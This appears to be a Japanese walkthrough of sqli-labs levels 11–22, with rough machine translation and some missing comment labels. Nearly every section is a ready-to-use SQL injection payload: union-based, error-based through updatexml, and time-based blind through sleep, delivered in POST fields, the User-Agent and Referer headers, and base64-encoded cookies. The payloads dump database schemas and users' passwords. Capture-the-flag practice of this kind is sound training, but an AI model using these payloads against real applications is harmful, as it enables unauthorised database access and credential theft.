sqli-labs通関ノート(less 11-less 22)

51532 ワード

文書ディレクトリ

  • less-11
  • less-12
  • less-13
  • less-14
  • less-15
  • less-16
  • less-17
  • less-18
  • less-19
  • less-20
  • less-21
  • less-22

  • less-11


    送信アカウントとパスワードはいずれも123であり、実行されるsql文は以下の通りである.万能パスワードで迂回できます.ここのコメントは使用できません.
    payload:(post方式コミット)
    uname=admin' order by 2#&passwd=123&submit=Submit  
    // 
    uname=admin' order by 3#&passwd=123&submit=Submit  
    //2
    uname=-admin' union select 1,2#&passwd=123&submit=Submit
    //1 2 ,admin , -admin
    
    // :
    uname=-admin' union select 1,database()#&passwd=123&submit=Submit
    
    // :
    uname=-admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #&passwd=123&submit=Submit
    
    // :
    uname=-admin' union select 1, group_concat(column_name) from information_schema.columns where table_name='users' #&passwd=123&submit=Submit
    
     :
    uname=-admin' union select 1,group_concat(username) from users #&passwd=&submit=Submit
    uname=-admin' union select 1,group_concat(password) from users #&passwd=&submit=Submit
    

    less-12


    less-11とほぼ同じですが、閉じ方が(「」)payloadに変更されました.
    // :
    uname=-admin") union select 1,database()#&passwd=123&submit=Submit
    
    // :
    uname=-admin") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #&passwd=123&submit=Submit
    
    // :
    uname=-admin") union select 1, group_concat(column_name) from information_schema.columns where table_name='users' #&passwd=123&submit=Submit
    
    // :
    uname=-admin") union select 1,group_concat(username) from users #&passwd=&submit=Submit
    uname=-admin") union select 1,group_concat(password) from users #&passwd=&submit=Submit
    

    less-13


    閉じ方は(’’)で,エコー情報がなく,エラーブラインドコメントを用いる.
    payload:
     :uname=admin') and updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=&submit=Submit
    
     :uname=admin') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&passwd=&submit=Submit
    
     :
    uname=admin') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#&passwd=&submit=Submit
    
     :
    uname=admin') and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)#&passwd=&submit=Submit
    uname=admin') and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)#&passwd=&submit=Submit
    

    less-14


    less-13とほぼ同じですが、閉じ方は「payload」です.
    // :
    uname=admin" and updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=&submit=Submit
    
    // :
    uname=admin" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&passwd=&submit=Submit
    
    // :
    uname=admin"and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#&passwd=&submit=Submit
    
    // :
    uname=admin" and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)#&passwd=&submit=Submit
    uname=admin" and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)#&passwd=&submit=Submit
    

    less-15


    閉じ方は’’’で、かつエラーを報告せず、使用時間ブラインド注記:if(length(database()=8,1,sleep(3))の意味が長さが正しい場合は、直接表示し、長さエラー時は3秒遅延する.if(length(database()=8,sleep(3),1)の意味が長さが正しい場合、3秒遅延し、長さが間違っている場合に直接表示します.
    payload:
     :
    
    uname=admin' and if(length(database())=8,sleep(3),1)#&passwd=&submit=Submit  
    
     :
    
    uname=admin' and if(substr(database(),1,1)='s',sleep(3),1)#&passwd=&submit=Submit
    
     :
    
    uname=admin' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))#&passwd=11&submit=Submit
    
     :
    uname=admin' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))#&passwd=11&submit=Submit
    
     :
    uname=admin' and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))#&passwd=11&submit=Submit
    

    less-16


    less-15とほぼ同じで、閉じ方は(「」)に変わります.
    payload:
    // :
    uname=admin")and if(length(database())=8,sleep(3),1)#&passwd=&submit=Submit  
    //8
    
    // :
    uname=admin") and if(substr(database(),1,1)='s',sleep(3),1)#&passwd=&submit=Submit
    
    // :
    uname=admin")and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))#&passwd=11&submit=Submit
    
    // :
    uname=admin")and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))#&passwd=11&submit=Submit
    
    // :
    uname=admin") and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))#&passwd=11&submit=Submit
    
    

    less-17


    ここにはピットがあります.データベースはunameをクエリーしてから、ユーザーが存在してこそ変更が許可されます.つまり、unameにはsql注入が存在せず、passwdには注入が存在します.passwdの閉じ方は「」
    payload:
    // :
    uname=admin&passwd=admin' and updatexml(1,concat(0x7e,database(),0x7e),1)#&submit=Submit
    
    // :
    uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&submit=Submit
    
    // :
    uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#&submit=Submit
    
    // :
    uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(login) from users),0x7e),1)#&submit=Submit
    uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)#&submit=Submit
    //* :You can't specify target table 'users' for update in FROM clause*//
    uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(email_id) from emails),0x7e),1)#&submit=Submit
    // emails , , 。
    

    less-18


    HTTPヘッダへの注入:user-agent後に"エラーを報告し,ここが注入点であることを示す.ソースコードを見た後、コードの中でunameとpasswdに対してcheck_を行いましたInput()関数の処理は,unameとpasswdを入力して注入することはできないが,コードでは,
     $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`,
     `username`) VALUES ('$uagent', '$IP', $uname)"; mysql_query($insert);
    

    user-agentとipをデータベースに挿入すると、これを注入することができますか?まずここで正しいアカウントとパスワードを入力してこそ、アカウントのパスワード判断を迂回することができ、uagentの処理部分に入ることができる.
    payload:
    // :
    User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:12.0) Gecko/20100101 Firefox/12.1',1, updatexml(1,concat(0x7e,database(),0x7e),1))#
    
    // :
    User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:12.0) Gecko/20100101 Firefox/12.1',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#
    
    // :
    User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:12.0) Gecko/20100101 Firefox/12.1',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))#
    
    // :
    User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:12.0) Gecko/20100101 Firefox/12.1',updatexml(1,concat(0x7e,(select group_concat(password) from users ),0x7e),1))#
    User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:12.0) Gecko/20100101 Firefox/12.1',updatexml(1,concat(0x7e,(select group_concat(login) from users ),0x7e),1))#
    

    less-19


    less-18とは差が少ない
    Refererの後に個の’を加えて誤りを報告することを発見して、注入が存在することを説明します
    payload:
    // :
    Referer: http://127.0.0.1/sqli/less-19/',1, updatexml(1,concat(0x7e,database(),0x7e),1))#
    
    // :
    Referer: http://127.0.0.1/sqli/less-19/',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#
    
    // :
    Referer: http://127.0.0.1/sqli/less-19/',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))#
    
    // :
    Referer: http://127.0.0.1/sqli/less-19/',updatexml(1,concat(0x7e,(select group_concat(password) from users ),0x7e),1))#
    

    less-20


    クッキーに「エラー」を加えると、クッキーは注入点であり、再現性があることを示します.
    payload:
    Cookie: uname=admin' order by 3#; security_level=0   
    // 
    Cookie: uname=admin' order by 4#; security_level=0   
    //3
    Cookie: uname=-admin' union select 1,2,3#; security_level=0
    //123 
    
    // :
    Cookie: uname=-admin' union select 1,2,database()#; security_level=0
    
    // :
    Cookie:uname=-admin' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')#; security_level=0
    
    // :
    Cookie:uname=-admin' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')#; security_level=0
    
    // :
    Cookie:uname=-admin' union select 1,2,(select group_concat(password) from users)#; security_level=0
    

    less-21


    less−20とほぼ同様に、閉鎖方式は(’’)であるが、cookie値はbase 64によって処理され、エラー注入が使用される.
    合法的なBase 64は、文字列の長さが4の整数倍であるという特徴を有する.文字列の記号の値はA-Z,a-z,0-9,+,/,=合計65文字のみであり、=出現する場合は末尾に現れる必要がある.
    payload:
    // :
    Cookie: uname=YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSwweDdlKSwxKSM=; security_level=0
    
    // :
    Cookie:uname=YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknKSwweDdlKSwxKSM=; security_level=0
    
    // :
    Cookie:uname=YWRtaW4nKWFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSd1c2VycycpLDB4N2UpLDEpIw==; security_level=0
    
    // :
    Cookie: uname=YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUpIGZyb20gdXNlcnMpLDB4N2UpLDEpIw==; security_level=0
    Cookie: uname=YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQocGFzc3dvcmQpIGZyb20gdXNlcnMpLDB4N2UpLDEpIw==; security_level=0
    // less-13,base64 burp 。
    

    less-22


    less-21とほぼ同じで、閉じ方は「」です.
    payload:
    // :
    Cookie: uname=YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpIw==; security_level=0
    
    // :
    Cookie: uname=YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScpLDB4N2UpLDEpIw==; security_level=0
    
    // :
    Cookie: uname=YWRtaW4iYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9J3VzZXJzJyksMHg3ZSksMSkj; security_level=0
    
    // :
    Cookie: uname=YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSkgZnJvbSB1c2VycyksMHg3ZSksMSkj; security_level=0
    uname=YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdChwYXNzd29yZCkgZnJvbSB1c2VycyksMHg3ZSksMSkj; security_level=0
    // less-14,base64 burp 。